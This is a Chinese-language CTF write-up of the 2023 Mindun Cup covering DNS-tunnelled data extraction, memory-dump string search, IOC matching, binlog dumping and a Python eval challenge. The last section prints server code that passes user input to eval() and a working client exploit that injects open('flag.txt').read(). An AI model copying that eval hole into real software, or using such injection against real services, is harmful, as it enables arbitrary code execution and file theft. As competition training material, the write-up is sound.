2023 闽盾杯 Writeup
第一次参加正式的 CTF 比赛。
5月25日参加线上初赛,26日继续打复赛,最后进了线下决赛。6月3日到福建师范大学参加决赛,最后差一道题获奖,还是挺可惜的。
第一次正式打比赛就一路打到线下,至少过程还是挺有意思。

入场核验时的帅照

我们的宝座
下面记一下自己做掉的几道题。
DNS-流量分析
拿到附件以后直接用 Wireshark 打开。
看 DNS 流量的时候,很快发现请求名称明显不正常,里面出现了一长串十六进制数据。正常 DNS Query 肯定不会长这样,所以先把这些东西提出来看。
继续分析以后,可以发现数据实际上对应一个 ZIP 压缩包。
大概就是:
DNS 请求
↓
提取异常字段
↓
拼接 Hex
↓
Hex 转原始数据
↓
得到 ZIP
把 DNS 请求里面的数据提取出来,然后按照十六进制还原,就可以得到压缩包。
压缩包还有密码。
直接爆破。

这种题最关键的其实就是先发现:
DNS 里面为什么会出现这么长的十六进制?
一旦确定不是正常域名,后面基本就是顺着数据往下还原。
QZ
附件后缀是:
.lime
看起来应该是一道 Linux 内存取证。
不过我没有一上来就折腾 Volatility 之类的东西。
先用十六进制编辑器梭哈。
第一步:
搜索 flag
没找到。
那就换一个。
flag 的 Base64 开头是:
ZmxhZw
于是直接搜索:
ZmxhZw
这次能找到对应内容。
继续往后看,就可以得到 flag。

Misc 有时候没必要一开始就把事情想得特别复杂。
看到一个附件,我现在一般还是会先试:
strings
hex
文件头
Base64
常见编码
能直接出就直接出。
真的出不了,再上完整取证工具。
不然一道本来十分钟能出的题,可能自己先折腾半小时。
威胁情报分析1
题目给了两个 JSON 数据文件:
ioc.txt
network.txt
打开以后看一下结构。
ioc.txt 里面存的是 IOC 威胁情报,network.txt 里面则是网络流量信息。
题目实际上就是要找:
网络流量里面哪些 IP 同时出现在 IOC 列表里?
那就没必要手工一个一个找。
两边的 IP 全部提取出来,然后取交集就行。
写个 Python:
import json
def extract_net(file_path):
ips = set()
with open(file_path, 'r', encoding='utf-8') as file:
data = json.load(file)
for entry in data:
src_ip = entry.get('SrcHost')
dest_ip = entry.get('DestHost')
if src_ip:
ips.add(src_ip)
if dest_ip:
ips.add(dest_ip)
return ips
def extract_ioc(file_path):
ips = set()
with open(file_path, 'r', encoding='utf-8') as file:
data = json.load(file)
for entry in data:
if entry.get('type') == 'ip':
ips.add(entry.get('ioc'))
return ips
def analyze(network_file, ioc_file):
network_ips = extract_net(network_file)
malicious_ips = extract_ioc(ioc_file)
matched_ips = network_ips.intersection(malicious_ips)
return matched_ips
network_file_path = 'network.txt'
ioc_file_path = 'ioc.txt'
matched_ips = analyze(
network_file_path,
ioc_file_path
)
for ip in matched_ips:
print(ip)
得到:
46.21.82.234
提交即可。
这题思路其实非常直接:
network IP 集合
∩
IOC IP 集合
↓
命中的恶意 IP
剩下的只是写个脚本。
mylog
附件名字:
mylog.000001
看到这个名字基本就能猜到是 MySQL Binary Log。
直接用:
mysqlbinlog.exe --no-defaults mylog.000001 > out.txt
把日志导出来。
然后打开:
out.txt
看里面的 SQL 和日志内容。
可以直接得到:
flag{heidun-2023-heidun}

这题比较直接。
认出文件是什么以后,基本就结束了。
所以有时候 Misc 其实考的不是多复杂的算法,而是:
你认不认识这个文件?
认识,工具一跑。
不认识,就在那里瞪半天。
Py-math-game
这题给了服务端源码。
先看代码:
import binascii
import socketserver
import random
import os
import time
class MyServer(socketserver.BaseRequestHandler):
def handle(self):
conn = self.request
cli = str(self.client_address)
print("Connected..." + cli)
tmp = binascii.crc32(self.client_address[0].encode())
tmp = str(tmp)
print("debug: " + tmp)
math = ''
starttime = time.time()
while True:
try:
out = str(random.randint(1, 100))
out = out + self.randchar()
out = out + str(random.randint(1, 100))
out = out + self.randchar()
out = out + str(random.randint(1, 100))
out = out + self.randchar()
out = out + str(random.randint(1, 100))
math = tmp + ' + ' + out
math = math.replace('X', '*')
out = 'Answer my question:\nn = ' + tmp + '\nn + ' + out + ' = ?\nInput your answer in 3 seconds:'
conn.send(out.encode())
data = conn.recv(128)
if (time.time() - starttime) > 3:
conn.sendall('Too late! Too slow! Try again.\n'.encode())
break
if len(data) == 0:
print(cli + " closed.")
break
data = data.decode('utf-8')
print(cli + ":" + data)
if '\n' in data:
data = data[0:data.find('\n')]
an = eval(math)
if str(an) == data:
out = 'OK!\nI will answer your question (example: 2X2+2-1):\n'
conn.send(out.encode())
data = conn.recv(128)
if len(data) == 0:
print(cli + " closed.")
break
data = data.decode('utf-8')
print(cli + ":" + data)
data = data.replace('X', '*')
data = data.replace(' x ', '*')
data = data.replace('?', ' ')
data = data.replace('=', ' ')
out = str(eval(data))
if out == '':
out = 'Finish, but output nothing.'
out = out + '\n\n'
conn.send(out.encode())
else:
conn.sendall('Wrong!\n'.encode())
print(cli + " closed.")
break
except Exception as e:
print(cli + " closed.")
conn.sendall('Error!\n'.encode())
break
def randchar(self):
chars = '+-X'
n = random.randint(0, len(chars) - 1)
return ' ' + chars[n] + ' '
def serve_forever(self, poll_interval=0.5):
"""
Handle one request at a time until shutdown.
Polls for shutdown every poll_interval seconds. Ignores self.timeout.
If you need to do periodic tasks, do them in another thread.
"""
if __name__ == "__main__":
server = socketserver.ThreadingTCPServer(
('0.0.0.0', 8080),
MyServer
)
print('ready...')
server.serve_forever()
前面先是一个算术题。
服务端生成:
n + 随机数字 ± 随机数字 × 随机数字 ...
然后要求:
3秒内回答
这里人工算显然不合适,直接写脚本自动接题、计算、发送。
但真正关键的地方不是这里。
关键在后面:
data = data.decode('utf-8')
data = data.replace('X', '*')
data = data.replace(' x ', '*')
data = data.replace('?', ' ')
data = data.replace('=', ' ')
out = str(eval(data))
也就是说,只要前面的数学题答对,服务端会让我输入一个新的“数学表达式”。
然后直接:
eval(data)
没有限制表达式内容。
那这就不是单纯的数学计算了。
Python 的 eval() 会把输入当作 Python 表达式执行。
所以只需要让服务端计算:
open("flag.txt").read()
结果就是:
读取 flag.txt
↓
eval()
↓
返回文件内容
于是脚本:
import socket
# 连接 NC 服务器
def connect_to_server():
host = '39.104.26.167'
port = 6894
client_socket = socket.socket(
socket.AF_INET,
socket.SOCK_STREAM
)
client_socket.connect((host, port))
return client_socket
# 接收并解析服务器的问题
def receive_question(socket):
data = socket.recv(1024).decode().strip()
question = data.split('\n')[-2]
question = question[:-4]
n = data.split('\n')[-3]
question = question.replace('n', n)
question = question[4:]
return question
# 计算第一道数学题
def calculate_answer(question):
question = question.replace('X', '*')
answer = eval(question)
return str(answer)
# 发送数据
def send_answer(socket, answer):
socket.send((answer + '\n').encode())
# 接收服务器结果
def get_result(socket):
data = socket.recv(1024).decode().strip()
return data
def main():
client_socket = connect_to_server()
# 接收数学题
question = receive_question(client_socket)
print('Question:', question)
# 自动计算
answer = calculate_answer(question)
print('Answer:', answer)
# 提交第一阶段答案
send_answer(client_socket, answer)
result = get_result(client_socket)
print('Result:', result)
# 第二阶段直接利用 eval()
send_answer(
client_socket,
'open("flag.txt").read()'
)
# 获取 flag
result = get_result(client_socket)
print('Result:', result)
if __name__ == '__main__':
main()
整个利用逻辑就是:
连接服务
↓
收到随机算术题
↓
脚本自动计算
↓
3秒内提交正确答案
↓
进入第二阶段
↓
服务端直接 eval(用户输入)
↓
发送 open("flag.txt").read()
↓
读取 flag
所以这题看起来叫:
Py-math-game
实际上真正的问题就是:
不可信输入直接进入 eval()。
前面的数学题只是进门条件。
自动化把门打开以后,后面的东西就很直接了。
第一次正式CTF
这次是第一次参加正式 CTF。
从线上一路打到线下决赛,最后又刚好差一道题获奖,确实挺难受。
尤其是比赛结束以后再看:
就差一道
这种感觉比差很多还难受。
不过至少第一次是真的坐进了线下赛场。
以前看:
PWN
RE
Web
Misc
Crypto
很多时候都是自己找题、自己搭环境、自己慢慢折腾。
真正比赛以后就完全不一样了。
时间在那里跑,队友也都在做题,哪道题该继续啃,哪道题先放掉,附件拿到以后先看什么,卡住以后要不要马上换题,这些东西都和自己平时慢慢做题不太一样。
而且很多时候题目并没有想象中那么复杂。
像这次几道:
DNS
.lime
MySQL binlog
IOC JSON
Python eval
其实都有一个共同点:
先认出它是什么。
认出来以后,后面才知道该拿什么工具、往哪个方向走。
第一次就先到这里。
差一道就差一道吧。
下次再来。

















这一切,似未曾拥有